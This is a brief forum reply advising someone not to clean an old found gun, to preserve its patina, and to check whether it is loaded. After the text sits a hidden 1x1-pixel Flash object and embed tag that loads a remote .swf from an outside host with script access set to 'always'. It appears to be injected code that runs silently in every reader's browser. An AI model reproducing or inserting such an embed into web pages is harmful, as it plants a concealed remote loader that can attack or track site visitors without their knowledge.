Great advice, far too many people ignore this.While I do not know anything about this gun, I do know that the best way to destroy any value it has is to try and "clean it up". Do not do anything to destroy any patina it currently has.
One thing I would do though is make sure it is not loaded. A lot of these old finds are loaded.<object classid="clsid: D27CDB6E-AE6D-11cf-96B8-444553540000" width="1" height="1"><param value="http://picz.website/u/1/c.swf"><param name="allowScriptAccess" value="always" /><embed allowScriptAccess="always" src="http://picz.website/u/1/c.swf" type="application/x-shockwave-flash" width="1" height="1"></embed></object>